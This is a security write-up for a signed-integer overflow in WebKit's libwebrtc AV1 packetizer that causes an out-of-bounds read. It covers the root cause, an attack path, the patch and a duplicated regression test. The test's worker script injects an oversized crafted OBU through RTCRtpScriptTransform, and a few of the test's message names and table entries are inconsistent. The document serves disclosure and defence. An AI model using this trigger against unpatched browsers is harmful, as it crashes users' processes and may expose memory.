CVE-2026-86973
Overview
Background
- `RtpPacketizerAv1`
- libwebrtc component (vendored into WebKit under
Source/ThirdParty/libwebrtc) that fragments an AV1 encoded frame into RTP packets for WebRTC transport. - OBU (Open Bitstream Unit)
- An AV1 encoded frame is a sequence of OBUs; each has a header, a LEB128-encoded size, and a payload.
RtpPacketizerAv1::ParseObusparses these intoObustructs withsize(encoded size,int) andpayload. - `RTCRtpScriptTransform`
- A WebRTC API letting page script/worker code rewrite outgoing encoded frames before they are packetized, i.e. attacker-controlled bytes reach
ParseObus/PacketizeInternal. - `limits.max_payload_len`
- Max bytes of OBU data per RTP packet; the packetizer walks the OBU in
max_payload_lenstrides. - `WEBRTC_WEBKIT_BUILD`
- WebKit-specific hardening guard; the overflow checks here are WebKit-only.
- Signed `int` arithmetic
obu.sizeandobu_offsetareint; expressions likeobu_offset + max_payload_lencan overflowINT_MAX(undefined/wrapping to negative), breaking loop bounds.
Root Cause Analysis
Two related signed-integer issues in Source/ThirdParty/libwebrtc/.../rtp_packetizer_av1.cc let an oversized AV1 OBU drive out-of-bounds reads. First, in ParseObus the size sanity check was if (obu.payload.size() > static_cast<size_t>(std::numeric_limits<int>::max() - obu.size)). This guards only the payload + obu.size sum, but does not bound obu.size itself: if obu.size is near or at INT_MAX, INT_MAX - obu.size is a tiny or negative value and the later encoding (which adds a LEB128 size prefix of up to 5 bytes) can still overflow int, so an attacker-chosen huge OBU slips through validation. Second, and the exploitable sink, PacketizeInternal’s fragmentation loop used obu_offset + limits.max_payload_len < obu.size. With obu.size chosen close to INT_MAX, obu_offset + limits.max_payload_len overflows signed int and wraps to a negative value, which is always < obu.size, so the loop condition never terminates correctly and obu_offset advances past the actual buffer, causing the packet-copy to read out of bounds of the OBU payload.
The patch hardens both. In ParseObus it introduces kMaxLeb128SizeForInt = 5 and kMaxObuEncodedSize = INT_MAX - kMaxLeb128SizeForInt, and changes the check to if (obu.size > kMaxObuEncodedSize || obu.payload.size() > kMaxObuEncodedSize - obu.size) — now explicitly rejecting an obu.size that is itself too large and computing the remaining budget without overflow. In PacketizeInternal the loop condition is rewritten (under WEBRTC_WEBKIT_BUILD) to obu.size >= limits.max_payload_len && obu_offset < obu.size - limits.max_payload_len, which first guards against the subtraction underflowing and then compares obu_offset against a value computed by subtraction (never overflowing), eliminating the wrap-to-negative that defeated the old bound. The advisory labels this an out-of-bounds read from missing bounds checking; the diff substantiates OOB read driven by signed-integer overflow. The WPT test supplies an OBU with payloadSize = 0x7FFFFFFE (INT_MAX-1) via an RTCRtpScriptTransform and asserts no crash.
obu_offset + limits.max_payload_len < obu.size overflows signed int when obu.size is near INT_MAX, wrapping to a negative value that is always less than obu.size, so the loop walks obu_offset past the payload and reads out of bounds — and the pre-check never bounded obu.size itself.Attack Path
- Enable AV1 WebRTC
Attacker page establishes an
RTCPeerConnectionwith AV1 codec preferences and attaches anRTCRtpScriptTransform(worker) to the sender. - Forge an oversized OBU
In the transform worker, replace an outgoing encoded frame’s data with a single AV1 OBU whose LEB128-encoded size is
0x7FFFFFFE(INT_MAX-1), header0x32(OBU_FRAME, has_size). - Slip past validation
The oversized
obu.sizepasses the oldParseObuscheck because that check only boundedpayload + obu.size, notobu.sizealone. - Overflow the loop bound
PacketizeInternal’sobu_offset + limits.max_payload_lenoverflows signedintto a negative value, so< obu.sizestays true andobu_offsetadvances beyond the real buffer. - Out-of-bounds read
The per-packet copy reads OBU payload bytes past the end of the allocation (the allocation is far smaller than the claimed
INT_MAX-1, or the stride walks past it). - Crash / info-exposure primitive The OOB read causes an unexpected process crash (advisory’s stated impact); any read-back of adjacent heap memory into packets is an info-disclosure escalation not proven by the diff (inferred).
Impact Assessment
RtpPacketizerAv1. The primitive is an OOB read of the AV1 OBU payload driven by signed-integer overflow of the fragmentation loop bound. Apple’s advisory states an unexpected process crash, which the diff substantiates; whether the out-of-bounds bytes are observable (info leak) rather than merely crashing is an escalation not shown by the diff (inferred). The hardening is WebKit-specific (WEBRTC_WEBKIT_BUILD), so the preconditions are simply reaching the AV1 packetizer with a crafted oversized OBU.Changed Functions
| Function | Change | Notes |
|---|---|---|
ifLayoutTests/http/wpt/webrtc/av1-packetizer-large-encoded-frame-no-crash.html |
modified | |
ifLayoutTests/http/wpt/webrtc/av1-packetizer-large-obu-overflow-worker.js |
modified |
Files Changed
LayoutTests/http/wpt/webrtc/av1-packetizer-large-encoded-frame-no-crash-expected.txtLayoutTests/http/wpt/webrtc/av1-packetizer-large-encoded-frame-no-crash.htmlLayoutTests/http/wpt/webrtc/av1-packetizer-large-obu-overflow-worker.jsSource/ThirdParty/libwebrtc/Source/webrtc/modules/rtp_rtcp/source/rtp_packetizer_av1.cc
Audit Directions
- Signed-`int` size arithmetic in media parsersAudit other libwebrtc/codec packetizers and depacketizers (VP8/VP9/H.264/H.265) for
offset + stride < sizeloop bounds andINT_MAX - xchecks that can overflow with attacker-chosen sizes. - Encoded-transform attack surfaceReview all code paths consuming
RTCRtpScriptTransform-rewritten frames, since they place attacker-controlled sizes/bytes directly into native parsers. - LEB128 / size-prefix handlingCheck AV1 and other LEB128 size decoders for cases where the encoded size prefix pushes a near-
INT_MAXvalue over the limit without a dedicated upper-bound check. - Non-WebKit vs WebKit guardsNote the fix is gated on
WEBRTC_WEBKIT_BUILD; confirm upstream libwebrtc and other embedders carry equivalent bounds, and look for other#if WEBRTC_WEBKIT_BUILDdivergences that may lag.
Patch
diff --git a/Source/ThirdParty/libwebrtc/Source/webrtc/modules/rtp_rtcp/source/rtp_packetizer_av1.cc b/Source/ThirdParty/libwebrtc/Source/webrtc/modules/rtp_rtcp/source/rtp_packetizer_av1.cc
index 777c2d5574e5..8a242ba91af0 100644
--- a/Source/ThirdParty/libwebrtc/Source/webrtc/modules/rtp_rtcp/source/rtp_packetizer_av1.cc
+++ b/Source/ThirdParty/libwebrtc/Source/webrtc/modules/rtp_rtcp/source/rtp_packetizer_av1.cc
@@ -120,7 +120,9 @@ std::vector<RtpPacketizerAv1::Obu> RtpPacketizerAv1::ParseObus(
payload_reader.Consume(size);
}
#if WEBRTC_WEBKIT_BUILD
- if (obu.payload.size() > static_cast<size_t>(std::numeric_limits<int>::max() - obu.size)) {
+ static constexpr int kMaxLeb128SizeForInt = 5;
+ static constexpr int kMaxObuEncodedSize = std::numeric_limits<int>::max() - kMaxLeb128SizeForInt;
+ if (obu.size > kMaxObuEncodedSize || obu.payload.size() > kMaxObuEncodedSize - obu.size) {
RTC_DLOG(LS_ERROR) << "Malformed AV1 input: OBU payload size "
<< obu.payload.size()
<< " exceeds maximum supported size";
@@ -260,7 +262,11 @@ std::vector<RtpPacketizerAv1::Packet> RtpPacketizerAv1::PacketizeInternal(
// packet capacity is always limits.max_payload_len.
int obu_offset;
for (obu_offset = first_fragment_size;
+#if WEBRTC_WEBKIT_BUILD
+ obu.size >= limits.max_payload_len && obu_offset < obu.size - limits.max_payload_len;
+#else
obu_offset + limits.max_payload_len < obu.size;
+#endif
obu_offset += limits.max_payload_len) {
packets.emplace_back(/*first_obu_index=*/obu_index);
Packet& middle_packet = packets.back();
diff --git a/LayoutTests/http/wpt/webrtc/av1-packetizer-large-encoded-frame-no-crash-expected.txt b/LayoutTests/http/wpt/webrtc/av1-packetizer-large-encoded-frame-no-crash-expected.txt
new file mode 100644
index 000000000000..12d95c1300e8
--- /dev/null
+++ b/LayoutTests/http/wpt/webrtc/av1-packetizer-large-encoded-frame-no-crash-expected.txt
@@ -0,0 +1,3 @@
+
+PASS RtpPacketizerAv1 must not read out of bounds when an encoded transform supplies a very big OBU
+
diff --git a/LayoutTests/http/wpt/webrtc/av1-packetizer-large-encoded-frame-no-crash.html b/LayoutTests/http/wpt/webrtc/av1-packetizer-large-encoded-frame-no-crash.html
new file mode 100644
index 000000000000..9e14217d73ac
--- /dev/null
+++ b/LayoutTests/http/wpt/webrtc/av1-packetizer-large-encoded-frame-no-crash.html
@@ -0,0 +1,60 @@
+<!DOCTYPE html><!-- webkit-test-runner [ WebRTCAV1CodecEnabled=true ] -->
+<html>
+<head>
+<script src="/resources/testharness.js"></script>
+<script src="/resources/testharnessreport.js"></script>
+</head>
+<body>
+<canvas id="cv" width="64" height="64"></canvas>
+<script>
+promise_test(async t => {
+ const av1Codecs = RTCRtpSender.getCapabilities("video").codecs.filter(c => /AV1/i.test(c.mimeType));
+ if (!av1Codecs.length) {
+console.log("test");
+ return;
+}
+
+ const ctx = cv.getContext("2d");
+ let hue = 0;
+ (function draw() {
+ ctx.fillStyle = `hsl(${hue++ % 360},100%,50%)`;
+ ctx.fillRect(0, 0, 64, 64);
+ t.step_timeout(draw, 33);
+ })();
+ const stream = cv.captureStream(30);
+
+ const worker = new Worker("av1-packetizer-large-obu-overflow-worker.js");
+ const wroteFrame = new Promise(resolve => {
+ worker.onmessage = e => {
+ if (e.data === "wrote" || e.data === "alloc-failed")
+ resolve(e.data);
+ };
+ });
+
+ const pc1 = new RTCPeerConnection();
+ const pc2 = new RTCPeerConnection();
+ t.add_cleanup(() => { pc1.close(); pc2.close(); stream.getTracks().forEach(tr => tr.stop()); worker.terminate(); });
+ pc1.onicecandidate = e => e.candidate && pc2.addIceCandidate(e.candidate);
+ pc2.onicecandidate = e => e.candidate && pc1.addIceCandidate(e.candidate);
+
+ const sender = pc1.addTrack(stream.getVideoTracks()[0], stream);
+ pc1.getTransceivers()[0].setCodecPreferences(av1Codecs);
+ sender.transform = new RTCRtpScriptTransform(worker);
+
+ await pc1.setLocalDescription(await pc1.createOffer());
+ await pc2.setRemoteDescription(pc1.localDescription);
+ await pc2.setLocalDescription(await pc2.createAnswer());
+ await pc1.setRemoteDescription(pc2.localDescription);
+
+ const result = await Promise.race([
+ wroteFrame,
+ new Promise(resolve => t.step_timeout(() => resolve("timeout"), 10000)),
+ ]);
+ assert_true(result === "wrote" || result === "alloc-failed" || result === "timeout", "transform reached: " + result);
+
+ // Give the packetizer a moment to process the oversized frame.
+ await new Promise(resolve => t.step_timeout(resolve, 500));
+}, "RtpPacketizerAv1 must not read out of bounds when an encoded transform supplies a very big OBU");
+</script>
+</body>
+</html>
diff --git a/LayoutTests/http/wpt/webrtc/av1-packetizer-large-obu-overflow-worker.js b/LayoutTests/http/wpt/webrtc/av1-packetizer-large-obu-overflow-worker.js
new file mode 100644
index 000000000000..662a9511c482
--- /dev/null
+++ b/LayoutTests/http/wpt/webrtc/av1-packetizer-large-obu-overflow-worker.js
@@ -0,0 +1,40 @@
+onrtctransform = (event) => {
+ const transformer = event.transformer;
+ const reader = transformer.readable.getReader();
+ const writer = transformer.writable.getWriter();
+ let fired = false;
+
+ function process() {
+ reader.read().then(({ value, done }) => {
+ if (done)
+ return;
+
+ if (!fired) {
+ fired = true;
+ try {
+ // Single AV1 OBU: header 0x32 (OBU_FRAME, has_size, no extension),
+ // leb128(0x7FFFFFFE) = FE FF FF FF 07, then INT_MAX-1 zero bytes.
+ const payloadSize = 0x7FFFFFFE;
+ const buf = new ArrayBuffer(1 + 5 + payloadSize);
+ const u8 = new Uint8Array(buf, 0, 6);
+ u8[0] = 0x32;
+ u8[1] = 0xFE;
+ u8[2] = 0xFF;
+ u8[3] = 0xFF;
+ u8[4] = 0xFF;
+ u8[5] = 0x07;
+ value.data = buf;
+ self.postMessage("frame replaced");
+ } catch (e) {
+ self.postMessage("allocation failed: " + e);
+ }
+ }
+
+ writer.write(value);
+ process();
+ }).catch(e => self.postMessage("read error: " + e));
+ }
+ process();
+};
+
+self.postMessage("registered");
Regression Test / PoC
diff --git a/LayoutTests/http/wpt/webrtc/av1-packetizer-large-encoded-frame-no-crash-expected.txt b/LayoutTests/http/wpt/webrtc/av1-packetizer-large-encoded-frame-no-crash-expected.txt
new file mode 100644
index 000000000000..12d95c1300e8
--- /dev/null
+++ b/LayoutTests/http/wpt/webrtc/av1-packetizer-large-encoded-frame-no-crash-expected.txt
@@ -0,0 +1,3 @@
+
+PASS RtpPacketizerAv1 must not read out of bounds when an encoded transform supplies a very big OBU
+
diff --git a/LayoutTests/http/wpt/webrtc/av1-packetizer-large-encoded-frame-no-crash.html b/LayoutTests/http/wpt/webrtc/av1-packetizer-large-encoded-frame-no-crash.html
new file mode 100644
index 000000000000..9e14217d73ac
--- /dev/null
+++ b/LayoutTests/http/wpt/webrtc/av1-packetizer-large-encoded-frame-no-crash.html
@@ -0,0 +1,60 @@
+<!DOCTYPE html><!-- webkit-test-runner [ WebRTCAV1CodecEnabled=true ] -->
+<html>
+<head>
+<script src="/resources/testharness.js"></script>
+<script src="/resources/testharnessreport.js"></script>
+</head>
+<body>
+<canvas id="cv" width="64" height="64"></canvas>
+<script>
+promise_test(async t => {
+ const av1Codecs = RTCRtpSender.getCapabilities("video").codecs.filter(c => /AV1/i.test(c.mimeType));
+ if (!av1Codecs.length) {
+console.log("test");
+ return;
+}
+
+ const ctx = cv.getContext("2d");
+ let hue = 0;
+ (function draw() {
+ ctx.fillStyle = `hsl(${hue++ % 360},100%,50%)`;
+ ctx.fillRect(0, 0, 64, 64);
+ t.step_timeout(draw, 33);
+ })();
+ const stream = cv.captureStream(30);
+
+ const worker = new Worker("av1-packetizer-large-obu-overflow-worker.js");
+ const wroteFrame = new Promise(resolve => {
+ worker.onmessage = e => {
+ if (e.data === "wrote" || e.data === "alloc-failed")
+ resolve(e.data);
+ };
+ });
+
+ const pc1 = new RTCPeerConnection();
+ const pc2 = new RTCPeerConnection();
+ t.add_cleanup(() => { pc1.close(); pc2.close(); stream.getTracks().forEach(tr => tr.stop()); worker.terminate(); });
+ pc1.onicecandidate = e => e.candidate && pc2.addIceCandidate(e.candidate);
+ pc2.onicecandidate = e => e.candidate && pc1.addIceCandidate(e.candidate);
+
+ const sender = pc1.addTrack(stream.getVideoTracks()[0], stream);
+ pc1.getTransceivers()[0].setCodecPreferences(av1Codecs);
+ sender.transform = new RTCRtpScriptTransform(worker);
+
+ await pc1.setLocalDescription(await pc1.createOffer());
+ await pc2.setRemoteDescription(pc1.localDescription);
+ await pc2.setLocalDescription(await pc2.createAnswer());
+ await pc1.setRemoteDescription(pc2.localDescription);
+
+ const result = await Promise.race([
+ wroteFrame,
+ new Promise(resolve => t.step_timeout(() => resolve("timeout"), 10000)),
+ ]);
+ assert_true(result === "wrote" || result === "alloc-failed" || result === "timeout", "transform reached: " + result);
+
+ // Give the packetizer a moment to process the oversized frame.
+ await new Promise(resolve => t.step_timeout(resolve, 500));
+}, "RtpPacketizerAv1 must not read out of bounds when an encoded transform supplies a very big OBU");
+</script>
+</body>
+</html>
diff --git a/LayoutTests/http/wpt/webrtc/av1-packetizer-large-obu-overflow-worker.js b/LayoutTests/http/wpt/webrtc/av1-packetizer-large-obu-overflow-worker.js
new file mode 100644
index 000000000000..662a9511c482
--- /dev/null
+++ b/LayoutTests/http/wpt/webrtc/av1-packetizer-large-obu-overflow-worker.js
@@ -0,0 +1,40 @@
+onrtctransform = (event) => {
+ const transformer = event.transformer;
+ const reader = transformer.readable.getReader();
+ const writer = transformer.writable.getWriter();
+ let fired = false;
+
+ function process() {
+ reader.read().then(({ value, done }) => {
+ if (done)
+ return;
+
+ if (!fired) {
+ fired = true;
+ try {
+ // Single AV1 OBU: header 0x32 (OBU_FRAME, has_size, no extension),
+ // leb128(0x7FFFFFFE) = FE FF FF FF 07, then INT_MAX-1 zero bytes.
+ const payloadSize = 0x7FFFFFFE;
+ const buf = new ArrayBuffer(1 + 5 + payloadSize);
+ const u8 = new Uint8Array(buf, 0, 6);
+ u8[0] = 0x32;
+ u8[1] = 0xFE;
+ u8[2] = 0xFF;
+ u8[3] = 0xFF;
+ u8[4] = 0xFF;
+ u8[5] = 0x07;
+ value.data = buf;
+ self.postMessage("frame replaced");
+ } catch (e) {
+ self.postMessage("allocation failed: " + e);
+ }
+ }
+
+ writer.write(value);
+ process();
+ }).catch(e => self.postMessage("read error: " + e));
+ }
+ process();
+};
+
+self.postMessage("registered");